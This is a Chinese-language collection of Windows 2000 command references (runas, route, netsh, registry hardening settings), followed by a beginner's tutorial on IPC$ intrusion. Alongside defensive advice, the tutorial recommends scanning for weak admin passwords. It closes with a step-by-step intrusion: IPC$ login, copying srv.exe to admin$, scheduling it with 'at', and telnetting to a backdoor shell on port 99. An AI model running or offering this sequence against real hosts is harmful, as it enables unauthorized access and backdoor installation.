可以使用 runas 命令來啟動任何程序、MMC 控制器或"控制面板"項。只要提供適當的用戶帳戶和密碼信息，用戶帳戶就具有登錄到計算機的能力，并且程序、MMC 控制臺、"控制面板"項在系統中及對該用戶帳戶均可用.
runas 命令允許您管理其他域的服務器（運行工具的計算機和要管理的服務器在不同的域中）。
如果嘗試使用 runas 從網絡位置啟動程序、MMC 控制臺或"控制面板"項，可能會因為用來連接網絡共享的憑據與用來啟動程序的憑據不同而失敗。后者的憑據可能無法訪問同一網絡共享。
有些項，例如"打印機"文件夾和桌面項，間接由 Windows 2000 打開，而不能使用 runas 命令啟動。
如果 runas 命令失敗，則可能是沒有運行 RunAs 服務或使用的用戶帳戶無效。要檢查 RunAs 服務的狀態，請在"計算機管理"中單擊"服務和應用程序"，然后單擊"服務"。要測試用戶帳戶，請嘗試使用該帳戶登錄合適的域。
范例
要在本地計算機上以管理員身份啟動 Windows 2000 命令提示行實例，請鍵入：



runas /user:localmachinename\administrator cmd
系統提示時，鍵入管理員密碼。


要使用名為 companydomain\domainadmin 的域管理員帳戶啟動"計算機管理"管理單元實例，請鍵入： runas /user:companydomain\domainadmin "mmc %windir%\system32\compmgmt.msc"
當提示時，鍵入帳戶密碼。



要使用名為 domain.microsoft.com 的域中的域管理員帳戶 user 啟動"記事本"實例，請鍵入：



runas /user:user@domain.microsoft.com "notepad my_file.txt"
當提示時，鍵入帳戶密碼。



要啟動命令提示符行窗口、保存的 MMC 控制臺、控制面板項或管理其他地點服務器的程序的一個實例，請鍵入：



runas /netonly /user:domain\username "command"
domain\username 必須是有足夠權限管理服務器的用戶。當提示時，鍵入帳戶密碼。
19.Route
在本地 IP 路由表中顯示和修改條目。使用不帶參數的 route 可以顯示幫助。



語法
route [-f] [-p] [Command [Destination] [mask Netmask] [Gateway] [metric Metric]] [if Interface]]



參數
-f
清除所有不是主路由（網掩碼為 255.255.255.255 的路由）、環回網絡路由（目標為 127.0.0.0，網掩碼為 255.255.255.0 的路由）或多播路由（目標為 224.0.0.0，網掩碼為 240.0.0.0 的路由）的條目的路由表。如果它與命令之一（例如 add、change 或 delete）結合使用，表會在運行命令之前清除。
-p
與 add 命令共同使用時，指定路由被添加到注冊表并在啟動 TCP/IP 協議的時候初始化 IP 路由表。默認情況下，啟動 TCP/IP 協議時不會保存添加的路由。與 print 命令一起使用時，則顯示永久路由列表。所有其它的命令都忽略此參數。永久路由存儲在注冊表中的位置是 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\PersistentRoutes。
Command
指定要運行的命令。下表列出了有效的命令。 命令 目的
add 添加路由
change 更改現存路由
delete 刪除路由
print 打印路由



Destination
指定路由的網絡目標地址。目標地址可以是一個 IP 網絡地址（其中網絡地址的主機地址位設置為 0），對于主機路由是 IP 地址，對于默認路由是 0.0.0.0。
mask subnetmask
指定與網絡目標地址相關聯的網掩碼（又稱之為子網掩碼）。子網掩碼對于 IP 網絡地址可以是一適當的子網掩碼，對于主機路由是 255.255.255.255 ，對于默認路由是 0.0.0.0。如果忽略，則使用子網掩碼 255.255.255.255。定義路由時由于目標地址和子網掩碼之間的關系，目標地址不能比它對應的子網掩碼更為詳細。換句話說，如果子網掩碼的一位是 0，則目標地址中的對應位就不能設置為 1。
Gateway
指定超過由網絡目標和子網掩碼定義的可達到的地址集的前一個或下一個躍點 IP 地址。對于本地連接的子網路由，網關地址是分配給連接子網接口的 IP 地址。對于要經過一個或多個路由器才可用到的遠程路由，網關地址是一個分配給相鄰路由器的、可直接達到的 IP 地址。
metric Metric
為路由指定所需躍點數的整數值（范圍是 1 ~ 9999），它用來在路由表里的多個路由中選擇與轉發包中的目標地址最為匹配的路由。所選的路由具有最少的躍點數。躍點數能夠反映躍點的數量、路徑的速度、路徑可靠性、路徑吞吐量以及管理屬性。
if Interface
指定目標可以到達的接口的接口索引。使用 route print 命令可以顯示接口及其對應接口索引的列表。對于接口索引可以使用十進制或十六進制的值。對于十六進制值，要在十六進制數的前面加上 0x。忽略 if 參數時，接口由網關地址確定。
/?
在命令提示符顯示幫助。
注釋
路由表中 躍點數 一列的值較大是由于允許 TCP/IP 根據每個 LAN 接口的 IP 地址、子網掩碼和默認網關的配置自動確定路由表中路由的躍點數造成的。默認啟動的自動確定接口躍點數確定了每個接口的速度，調整了每個接口的路由躍點數，因此最快接口所創建的路由具有最低的躍點數。要刪除大躍點數，請在每個 LAN 連接的 TCP/IP 協議的高級屬性中禁用自動確定接口躍點數。
如果在 systemroot\System32\Drivers\Etc 文件夾的本地網絡文件中存在適當的條目，名稱可以用于 Destination。只要名稱可以通過"域名系統" (DNS) 查詢這樣的標準主機名解析技術分解為 IP 地址，就可以將其用于 Gateway，DNS 查詢使用存儲在 systemroot\System32\Drivers\Etc 文件夾下的本地主機文件和 NetBIOS 名稱解析。
如果是 print 或 delete 命令，可以忽略 Gateway 參數，使用通配符來表示目標和網關。Destination 的值可以是由星號 (*) 指定的通配符。如果指定目標含有一個星號 (*) 或問號 (?)，它被看作是通配符，只打印或刪除匹配的目標路由。星號代表任意一字符序列，問號代表任一字符。例如， 10.*.1, 192.168.*、 127.* 和 *224* 都是星號通配符的有效使用。
使用了無效的目標和子網掩碼（網掩碼）值的組合，會顯示"Route:bad gateway address netmask"錯誤消息。目標中有一位或多位設置為 1，而其在子網掩碼中的對應位設置為 0 時會發生這個錯誤。可以通過二進制表示法表示目標和子網掩碼來檢查這種情況。以二進制表示的子網掩碼包括表示目標網絡地址部分的一連串的 1 和表示目標主機地址部分的一連串的 0 兩個部分。查看目標以確定目標的主機地址部分（由子網掩碼所定義）是否有些位設置成了 1。
只有 Windows NT 4.0、Windows 2000、Windows Millennium Edition 和 Windows XP 的 route 命令支持 -p 參數。Windows 95 或 Windows 98 的 route 命令不支持該參數。
只有當網際協議 (TCP/IP) 協議在 網絡連接中安裝為網絡適配器屬性的組件時，該命令才可用。
范例
要顯示 IP 路由表的完整內容，請鍵入：



route print



要顯示 IP 路由表中以 10. 開始的路由，請鍵入：



route print 10.*



要添加默認網關地址為 192.168.12.1 的默認路由，請鍵入：



route add 0.0.0.0 mask 0.0.0.0 192.168.12.1



要添加目標為 10.41.0.0，子網掩碼為 255.255.0.0，下一個躍點地址為 10.27.0.1 的路由，請鍵入：



route add 10.41.0.0 mask 255.255.0.0 10.27.0.1



要添加目標為 10.41.0.0，子網掩碼為 255.255.0.0，下一個躍點地址為 10.27.0.1 的永久路由，請鍵入：



route -p add 10.41.0.0 mask 255.255.0.0 10.27.0.1



要添加目標為 10.41.0.0，子網掩碼為 255.255.0.0，下一個躍點地址為 10.27.0.1，躍點數為 7 的路由，請鍵入：



route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 metric 7



要添加目標為 10.41.0.0，子網掩碼為 255.255.0.0，下一個躍點地址為 10.27.0.1，接口索引為 0x3 的路由，請鍵入：



route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 if 0x3



要刪除目標為 10.41.0.0，子網掩碼為 255.255.0.0 的路由，請鍵入：



route delete 10.41.0.0 mask 255.255.0.0



要刪除 IP 路由表中以 10. 開始的所有路由，請鍵入：



route delete 10.*



要將目標為 10.41.0.0，子網掩碼為 255.255.0.0 的路由的下一個躍點地址由 10.27.0.1 更改為 10.27.0.25，請鍵入：



route change 10.41.0.0 mask 255.255.0.0 10.27.0.25



怎樣在windowsserver的cmd下更改ip地址■■■ -> Windows 2k/2003 Server
在命令行下更改ip地址



Windows2000是現在比較流行的操作系統，它的功能是很強大的，它甚至可以象Unix一樣在命令行下做很多的工作。下面一種在命令行下更改ip地址的方法，現介紹給大家（括號里是一些注釋，黑體字是人工錄入的）：



C:\>ipconfig (首先用ipconfig這個命令看一下更改之前的ip地址)



Windows 2000 IP Configuration



Ethernet adapter 本地連接:



Connection-specific DNS Suffix . :



IP Address. . . . . . . . . . . . : 10.1.1.94 （本地連接更改之前的ip）



Subnet Mask . . . . . . . . . . . : 255.255.255.0



Default Gateway . . . . . . . . . : 10.1.1.254



C:\>netsh （進入設置模式）



netsh>interface



interface>ip



interface ip>set address "本地連接" static 10.1.1.111 255.255.255.0 10.1.1.254



interface ip>exit




上文中的set命令具體解釋如下:



set address - 設置指定的接口的 IP 地址和默認網關。



set dns - 設置 DNS 服務器模式和地址。



set wins - 設置 WINS 服務器模式和地址。[/sell] 網絡常用命令：



IPCONFIG
C:\>ipconfig （更改后再用ipconfig命令看一下,確認一下是否更改成功）



Windows 2000 IP Configuration



Ethernet adapter 本地連接:



Connection-specific DNS Suffix .



IP Address. . . . . . . . . . . . : 10.1.1.111



Subnet Mask . . . . . . . . . . . : 255.255.255.0



Default Gateway . . . . . . . . . : 10.1.1.254




命令一覽
.. - 移到上一層上下文級。
? - 顯示命令列表。
aaaa - 更改到 `aaaa' 上下文。
abort - 丟棄在脫機模式下所做的更改。
add - 將一個配置項添加到項目列表中。
alias - 添加一個別名
bye - 退出程序。
commit - 提交在脫機模式中所做的更改。
delete - 在項目列表上刪除一個配置項目。
dhcp - 更改到 `dhcp' 上下文。
dump - 顯示一個配置腳本。
exec - 運行一個腳本文件。
exit - 退出程序。
help - 顯示命令列表。
interface - 更改到 `interface' 上下文。
offline - 將當前模式設置成脫機。
online - 將當前模式設置成聯機。
popd - 從堆棧上打開一個上下文。
pushd - 將當前上下文放推入堆棧。
quit - 退出程序。
ras - 更改到 `ras' 上下文。
routing - 更改到 `routing' 上下文。
set - 更新配置設置。
show - 顯示信息
unalias - 刪除一個別名。
wins - 更改到 `wins' 上下文。
快速切換IP地址有絕招

在工作過程中會遇到在不同的網段中進行網絡調試的情況，經常需要將機器在幾個不同的IP地址中進行切換。在Win2000操作系統中改變IP地址較之Win98已經方便多了 1、設置生存時間



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters



　　DefaultTTL REG_DWORD 0-0xff(0-255 十進制，默認值128)



　　說明：指定傳出IP數據包中設置的默認生存時間(TTL)值。TTL決定了IP數據包在到達目標前在網絡中生存的最大時間。它實際上限定了IP數據包在丟棄前允許通過的路由器數量.有時利用此數值來探測遠程主機操作系統。 　　2、防止ICMP重定向報文的***



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters



　　EnableICMPRedirects REG_DWORD 0x0(默認值為0x1)



　　說明：該參數控制Windows 2000是否會改變其路由表以響應網絡設備(如路由器)發送給它的ICMP重定向消息，有時會被利用來干壞事.Win2000中默認值為1，表示響應ICMP重定向報文。



　　3、禁止響應ICMP路由通告報文



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Inter



　　faces\interface



　　PerformRouterDiscovery REG_DWORD 0x0(默認值為0x2)



　　說明："ICMP路由公告"功能可造成他人計算機的網絡連接異常，數據被竊聽，計算機被用于流量***等嚴重后果.此問題曾導致校園網某些局域網大面積，長時間的網絡異常。因此建議關閉響應ICMP路由通告報文.Win2000中默認值為2，表示當DHCP發送路由器發現選項時啟用。



　　4、防止SYN洪水***



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters



　　SynAttackProtect REG_DWORD 0x2(默認值為0x0)



　　說明：SYN***保護包括減少SYN-ACK重新傳輸次數，以減少分配資源所保留的時間。路由緩存項資源分配延遲，直到建立連接為止.如果synattackprotect=2，則AFD的連接指示一直延遲到三路握手完成為止.注意，僅在TcpMaxHalfOpen和TcpMaxHalfOpenRetried設置超出范圍時，保護機制才會采取措施。



　5、禁止C$、D$一類的缺省共享



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters



　　AutoShareServer、REG_DWORD、0x0



　　6、禁止ADMIN$缺省共享



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters



　　AutoShareWks、REG_DWORD、0x0



　　7、限制IPC$缺省共享



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa



　　restrictanonymous REG_DWORD 0x0 缺省



　　　　　　　　　　　　　　0x1 匿名用戶無法列舉本機用戶列表



　　　　　　　　　　　　　　0x2 匿名用戶無法連接本機IPC$共享



　　說明：不建議使用2，否則可能會造成你的一些服務無法啟動，如SQL Server



　　8、不支持IGMP協議



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters



　　IGMPLevel REG_DWORD 0x0(默認值為0x2)



　　說明：記得Win9x下有個bug，就是用可以用IGMP使別人藍屏，修改注冊表可以修正這個bug.Win2000雖然沒這個bug了，但IGMP并不是必要的，因此照樣可以去掉。改成0后用route print將看不到那個討厭的224.0.0.0項了。



　　9、設置arp緩存老化時間設置



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services：\Tcpip\Parameters



　　ArpCacheLife　REG_DWORD 0-0xFFFFFFFF(秒數，默認值為120秒)



　　ArpCacheMinReferencedLife　REG_DWORD 0-0xFFFFFFFF(秒數，默認值為600)



　　說明：如果ArpCacheLife大于或等于ArpCacheMinReferencedLife，則引用或未引用的ARP緩存項在ArpCacheLife秒后到期。如果ArpCacheLife小于ArpCacheMinReferencedLife，未引用項在ArpCacheLife秒后到期，而引用項在ArpCacheMinReferencedLife秒后到期。每次將出站數據包發送到項的IP地址時，就會引用ARP緩存中的項。



　10、禁止死網關監測技術



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services：\Tcpip\Parameters



　　EnableDeadGWDetect REG_DWORD 0x0(默認值為ox1)



　　說明：如果你設置了多個網關，那么你的機器在處理多個連接有困難時，就會自動改用備份網關。有時候這并不是一項好主意，建議禁止死網關監測。



　　11、不支持路由功能



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services：\Tcpip\Parameters



　　IPEnableRouter REG_DWORD 0x0(默認值為0x0)



　　說明：把值設置為0x1可以使Win2000具備路由功能，由此帶來不必要的問題。



　　12、做NAT時放大轉換的對外端口最大值



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services：\Tcpip\Parameters



　　MaxUserPort REG_DWORD 5000-65534(十進制)(默認值0x1388--十進制為5000)



　　說明：當應用程序從系統請求可用的用戶端口數時，該參數控制所使用的最大端口數。正常情況下，短期端口的分配數量為1024-5000。將該參數設置到有效范圍以外時，就會使用最接近的有效數值(5000或65534)。使用NAT時建議把值放大點。



　　13、修改MAC地址



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\



　　找到右窗口的說明為"網卡"的目錄，



　　比如說是{4D36E972-E325-11CE-BFC1-08002BE10318}



展開之，在其下的0000，0001，0002...的分支中找到"DriverDesc"的鍵值為你網卡的說明，比如說"DriverDesc"的值為"Intel(R) 82559 Fast Ethernet LAN on Motherboard"然后在右窗口新建一字符串值，名字為"Networkaddress"，內容為你想要的MAC值，比如說是"004040404040"然后重起計算機，ipconfig /all看看。
曾幾何時，大家都有想過在命令行下改IP和網關。以前在NT4下實現起來過于麻煩，現在Windows 2000下的Netsh命令能實現該功能了。



Netsh 是本地或遠程計算機的 Windows 2000 網絡組件的命令行和腳本實用程序。為了存檔或配置其他服務器，Netsh 實用程序也可以將配置腳本保存在文本文件中。



Netsh 實用程序是一個外殼，它通過附加的"Netsh 幫助 DLL"，可以支持多個 Windows 2000 組件。"Netsh 幫助 DLL"提供用來監視或配置特定 Windows 2000 網絡組件的其他命令，從而擴展了 Netsh 的功能。每個"Netsh 幫助 DLL"都為特定的網絡組件提供了一個環境和一組命令。每個環境中都可以有子環境。例如，在路由環境中存在子環境 Ip 和 Ipx，它們將 IP 路由和 IPX 路由命令集中在一起。



Netsh 命令行選項包括下列各項：



用法: netsh [-a AliasFile] [-c Context] [-r RemoteMachine]
[Command | -f ScriptFile]



下列指令有效:



此上下文中的命令:
? - 顯示命令列表。
aaaa - 更改到 `aaaa' 上下文。
add - 將一個配置項添加到項目列表中。
delete - 在項目列表上刪除一個配置項目。
dhcp - 更改到 `dhcp' 上下文。
dump 0 - 顯示一個配置腳本。
exec - 運行一個腳本文件。
help - 顯示命令列表。
interface - 更改到 `interface' 上下文。
ras - 更改到 `ras' 上下文。
routing - 更改到 `routing' 上下文。
set - 更新配置設置。
show - 顯示信息
wins - 更改到 `wins' 上下文。



下列的子上下文可用:
routing interface ras dhcp wins aaaa



若需要命令的更多幫助信息，請鍵入命令，
后面跟 ?。
-a AliasFile
指定使用了一個別名文件。別名文件包含 netsh 命令列表和一個別名版本，所以可以使用別名命令行替換 netsh 命令。可以使用別名文件將其他平臺中更熟悉的命令映射到適當的 netsh 命令。



-c Context
指定對應于已安裝的支持 DLL 的命令環境。



命令
指定要執行的 netsh 命令。



-f ScriptFile
指定運行 ScriptFile 文件中所有的 netsh 命令。



-r RemoteMachine
指定在遠程計算機上運行 netsh 命令，由名稱或 IP 地址來指定遠程計算機。



您可以將命令縮寫為意義明確的最短的字符串。例如，發布 sh ip int 命令相當于發布 show ip interface。Netsh 命令可以是全局的或特定環境的。全局命令可以在任何環境中發布，并用于一般的 Netsh 實用程序功能。特定環境的命令隨環境而變化。您可以將發布的命令記錄在日志文件中，以創建 netsh 命令會話的審核蹤跡。



列出了 netsh 全局命令。



命令 說明
.. 上移一個環境等級。
? 或 help 顯示命令行"幫助"。
show version 顯示 Windows 和 Netsh 實用程序的當前版本。
show netdlls 顯示已安裝的"Netsh 幫助 DLL"的當前版本。
add helper 添加"Netsh 幫助 DLL"。
delete helper 刪除"Netsh 幫助 DLL"。
show helper 顯示已安裝的"Netsh 幫助 DLL"。
cmd 創建 Windows 2000 命令窗口。
online 將當前模式設置為聯機。
offline 將當前模式設置為脫機。
set mode 將當前模式設置為聯機或脫機。
show mode 顯示當前模式。
flush 丟棄以脫機模式進行的任何更改。
commit 提交以脫機模式進行的更改。
set audit-logging 打開或關閉記錄工具。
show audit-logging 顯示當前的審核記錄設置。
set loglevel 設置記錄信息的級別
show loglevel 顯示記錄信息的級別。
set machine 配置執行 netsh 命令的計算機。
show machine 顯示執行 netsh 命令的計算機。
exec 執行包括 netsh 命令的腳本文件。
quit 或 bye 或 exit 退出 Netsh 實用程序。
add alias 向現有命令添加別名。
delete alias 刪除現有命令的別名。
show alias 顯示所有已定義的別名。
dump 將配置寫入文本文件。
popd 從堆棧中彈出環境的腳本命令。
pushd 將當前的環境推入堆棧的腳本命令。



Netsh 實用程序有如下命令模式：



聯機
聯機模式下，在 Netsh 命令提示符下發布的命令被立即執行。



脫機
脫機模式下,將在 Netsh 命令提示符下積累發布的命令，并通過發布 commit 全局命令來按照批處理方式執行。可以通過發布 flush 全局命令來丟棄積累的命令。



腳本
使用 -f 命令行選項，或在 Netsh 命令提示符下發布 exec 全局命令，可以執行指定文件中所有的 netsh 命令。



要創建當前配置的腳本，請使用 dump 全局命令。dump 命令根據 netsh 命令輸出當前運行的配置。可以使用該命令創建的腳本來配置新的服務器或重新配置現有的服務器。如果要對組件的配置作很大的更改，推薦您使用 dump 命令開始配置會話，以防在進行更改前需要還原配置。



Interface 命令
下表列出了可在 Windows 2000 命令提示符下鍵入的 netsh 命令，這些命令用于管理運行 Windows 2000 Server 及"路由和遠程訪問"服務的計算機上的接口設置。如果對某個特殊功能有多個命令，則在每個命令之間用斜線 (/) 分隔。



當在命令提示符下鍵入命令時，請在每個命令前加上 netsh。要獲得每個命令的精確語法，可在命令之后鍵入 ?。選項例如，要獲得 netsh interface 命令的命令行"幫助"，請在命令提示符下鍵入 netsh interface?。



命令 說明
interface set/show interface 啟用、禁用、連接、斷開連接以及顯示請求撥號接口的配置。
interface set/show credentials 在請求撥號接口上配置或顯示用戶名、密碼和域名。




言歸正傳，現在來看看WIN2000下的網絡設置的配置。 D:\>netsh
netsh>interface
interface>dump
#========================
# 接口配置
#========================
pushd interface



reset all




popd
# 接口配置結束



# ----------------------------------
# 接口 IP 配置
# ----------------------------------
pushd interface ip




# "本地連接 2" 的接口 IP 配置



set address name = "本地連接 2" source = dhcp
set dns name = "本地連接 2" source = dhcp
set wins name = "本地連接 2" source = dhcp



# "本地連接" 的接口 IP 配置



set address name = "本地連接" source = static addr = 192.168.1.10 mask = 255.255.255.0
set address name = "本地連接" gateway = 192.168.0.1 gwmetric = 1
set dns name = "本地連接" source = static addr = 192.168.0.1
set wins name = "本地連接" source = static addr = none




popd
# 接口 IP 配置結束




如果,你想快速修改一個本地IP地址。
你可以先用文本寫入以下的內容：



interface ip
set address 本地連接 static 192.168.5.10 255.255.255.0 192.168.0.1 1

接口名稱 IP地址 子網掩碼 網關 接口躍點數



如上保存為 local.sh



D:\>netsh exec local.sh
IPC$命令詳解:



網上關于ipc$***的文章可謂多如牛毛,而且也不乏優秀之作,***步驟甚至可以說已經成為經典的模式,因此也沒人愿意再把這已經成為定式的東西拿出來擺弄.
不過話雖這樣說,但我個人認為這些文章講解的并不詳細,對于第一次接觸ipc$的菜鳥來說,簡單的羅列步驟并不能解答他們的許多迷惑(你隨便找一個hack論壇搜一下ipc,看存在的疑惑有多少).
因此我寫了這篇相當于解惑的教程.想把一些容易混淆,容易迷惑人的問題說清楚,讓大家不要總徘徊在原地!如果你看完這篇帖子仍有疑問,請馬上回復!




二 什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這么說的)，它是為了讓進程間通信而開放的命名管道，可以通過驗證用戶名和密碼獲得相應的權限,在遠程管理計算機和查看計算機的共享資源時使用。
利用IPC$,連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然,對方機器必須開了ipc$共享,否則你是連接不上的)，而利用這個空的連接，連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。
我們總在說ipc$漏洞ipc$漏洞,其實,ipc$并不是真正意義上的漏洞,它是為了方便管理員的遠程管理而開放的遠程網絡登陸功能,而且還打開了默認共享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)。
所有的這些,初衷都是為了方便管理員的管理,但好的初衷并不一定有好的收效,一些別有用心者(到底是什么用心?我也不知道,代詞一個)會利用IPC$，訪問共享資源,導出用戶列表,并使用一些字典工具，進行密碼探測,寄希望于獲得更高的權限,從而達到不可告人的目的.



解惑:
1)IPC連接是Windows NT及以上系統中特有的遠程網絡登陸功能，其功能相當于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函數，所以不能在Windows 9.x中運行。
也就是說只有nt/2000/xp才可以建立ipc$連接,98/me是不能建立ipc$連接的(但有些朋友說在98下能建立空的連接,不知道是真是假,不過現在都2003年了,建議98的同志換一下系統吧,98不爽的)
2)即使是空連接也不是100%都能建立成功,如果對方關閉了ipc$共享,你仍然無法建立連接
3)并不是說建立了ipc$連接就可以查看對方的用戶列表,因為管理員可以禁止導出用戶列表




三 建立ipc$連接在hack***中的作用
就像上面所說的,即使你建立了一個空的連接,你也可以獲得不少的信息(而這些信息往往是***中必不可少的),訪問部分共享,如果你能夠以某一個具有一定權限的用戶身份登陸的話,那么你就會得到相應的權限,顯然,如果你以管理員身份登陸,嘿嘿,就不用我在多說了吧,what u want,u can do!!
(基本上可以總結為獲取目標信息、管理目標進程和服務,上傳***并運行,如果是2000server，還可以考慮開啟終端服務方便控制.怎么樣?夠厲害吧!)
不過你也不要高興的太早,因為管理員的密碼不是那么好搞到的,雖然會有一些傻傻的管理員用空口令或者弱智密碼,但這畢竟是少數,而且現在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼會越來越難的
因此今后你最大的可能就是以極小的權限甚至是沒有權限進行連接,你會慢慢的發現ipc$連接并不是萬能的,甚至在主機不開啟ipc$共享時,你根本就無法連接.
所以我認為,你不要把ipc$***當作終極武器,不要認為它戰無不勝,它就像是足球場上射門前的傳球,很少會有致命一擊的效果,但卻是不可缺少的,我覺得這才是ipc$連接在hack***中的意義所在.




四 ipc$與空連接,139,445端口,默認共享的關系
以上四者的關系可能是菜鳥很困惑的一個問題,不過大部分文章都沒有進行特別的說明,其實我理解的也不是很透徹,都是在與大家交流中總結出來的.(一個有良好討論氛圍的BBS可以說是菜鳥的天堂)



1)ipc$與空連接:
不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進行ipc$連接),自然就不能叫做空連接了.
許多人可能要問了,既然可以空連接,那我以后就空連接好了,為什么還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當你以空連接登陸時,你沒有任何權限(很郁悶吧),而你以用戶或管理員的身份登陸時,你就會有相應的權限(有權限誰不想呀,所以還是老老實實掃吧,不要偷懶喲).
2)ipc$與139,445端口:
ipc$連接可以實現遠程登陸及對默認共享的訪問;而139端口的開啟表示netbios協議的應用,我們可以通過139,445(win2000)端口實現對共享文件/打印機的訪問,因此一般來講,ipc$連接是需要139或445端口來支持的.
3)ipc$與默認共享
默認共享是為了方便管理員遠程管理而默認開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連接可以實現對這些默認共享的訪問(前提是對方沒有關閉這些默認共享)




五 ipc$連接失敗的原因
以下5個原因是比較常見的:
1)你的系統不是NT或以上操作系統;
2)對方沒有打開ipc$默認共享
3)對方未開啟139或445端口(惑被防火墻屏蔽)
4)你的命令輸入有誤(比如缺少了空格等)
5)用戶名或密碼錯誤(空連接當然無所謂了)
另外,你也可以根據返回的錯誤號分析原因：
錯誤號5，拒絕訪問 ： 很可能你使用的用戶不是管理員權限的，先提升權限；
錯誤號51，Windows 無法找到網絡路徑 : 網絡有問題；
錯誤號53，找不到網絡路徑 ： ip地址錯誤；目標未開機；目標lanmanserver服務未啟動；目標有防火墻（端口過濾）；
錯誤號67，找不到網絡名 ： 你的lanmanworkstation服務未啟動；目標刪除了ipc$；
錯誤號1219，提供的憑據與已存在的憑據集沖突 ： 你已經和對方建立了一個ipc$，請刪除再連。
錯誤號1326，未知的用戶名或錯誤密碼 ： 原因很明顯了；
錯誤號1792，試圖登錄，但是網絡登錄服務沒有啟動 ： 目標NetLogon服務未啟動。（連接域控會出現此情況）
錯誤號2242，此用戶的密碼已經過期 ： 目標有帳號策略，強制定期要求更改密碼。
關于ipc$連不上的問題比較復雜，除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細而確定的說明,就靠大家自己體會和試驗了.




六 如何打開目標的IPC$(此段引自相關文章)
首先你需要獲得一個不依賴于ipc$的shell，比如sql的cmd擴展、telnet、***,當然，這shell必須是admin權限的,然后你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上面可以知道，ipc$能否使用還有很多條件。請確認相關服務都已運行，沒有就啟動它（不知道怎么做的請看net命令的用法）,還是不行的話（比如有防火墻，殺不了）建議放棄。




七 如何防范ipc$***
1禁止空連接進行枚舉(此操作并不能阻止空連接的建立,引自《解剖win2000下的空會話》)
首先運行regedit，找到如下組建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為：00000001(如果設置為2的話,有一些問題會發生,比如一些WIN的服務出現問題等等)



2禁止默認共享
1）察看本地共享資源
運行-cmd-輸入net share
2）刪除共享(每次輸入一個）
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete（如果有e,f,……可以繼續刪除）
3）停止server服務
net stop server /y （重新啟動后server服務會重新開啟）
4）修改注冊表
運行-regedit
server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的鍵值改為:00000000。
pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的鍵值改為:00000000。
如果上面所說的主鍵不存在，就新建(右擊-新建-雙字節值）一個主健再改鍵值。



3永久關閉ipc$和默認共享依賴的服務:lanmanserver即server服務
控制面板-管理工具-服務-找到server服務（右擊）-屬性-常規-啟動類型-已禁用



4安裝防火墻(選中相關設置)，或者端口過濾(濾掉139,445等),或者用新版本的優化大師



5設置復雜密碼，防止通過ipc$窮舉密碼




八 相關命令
1)建立空連接:
net use \\IP\ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個空格)



2)建立非空連接:
net use \\IP\ipc$ "用戶名" /user:"密碼" (同樣有3個空格)



3)映射默認共享:
net use z: \\IP\c$ "密碼" /user:"用戶名" (即可將對方的c盤映射為自己的z盤，其他盤類推)
如果已經和目標建立了ipc$，則可以直接用IP+盤符+$訪問,具體命令 net use z: \\IP\c$



4)刪除一個ipc$連接
net use \\IP\ipc$ /del



5)刪除共享映射
net use c: /del 刪除映射的c盤，其他盤類推
net use * /del 刪除全部,會有提示要求按y確認




九 經典***模式
這個***模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩)



11. C:\>net use \\127.0.0.1\IPC$ "密碼" /user:"用戶名"
一般用流光，通過掃描弱口令來得到，管理員帳號和密碼.
2. C:\>copy srv.exe \\127.0.0.1\admin$
先復制srv.exe上去，在流光的Tools目錄下就有（這里的$是指admin用戶的c:\winnt\system32\，大家還可以使用c$、d$，意思是C盤與D盤，這看你要復制到什么地方去了）。
　　
3. C:\>net time \\127.0.0.1
查查時間，發現127.0.0.1 的當前時間是 2004/6/15 上午 11:00，命令成功完成。
　　
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧



5. C:\>net time \\127.0.0.1
再查查到時間沒有？如果127.0.0.1 的當前時間是 2004/6/15 上午 11:05，那就準備開始下面的命令。
　　
6. C:\>telnet 127.0.0.1 99
這里會用到Telnet命令吧，注意端口是99。Telnet默認的是23端口，但是我們使用的是SRV在對方計算機中為我們建立一個99端口的Shell。
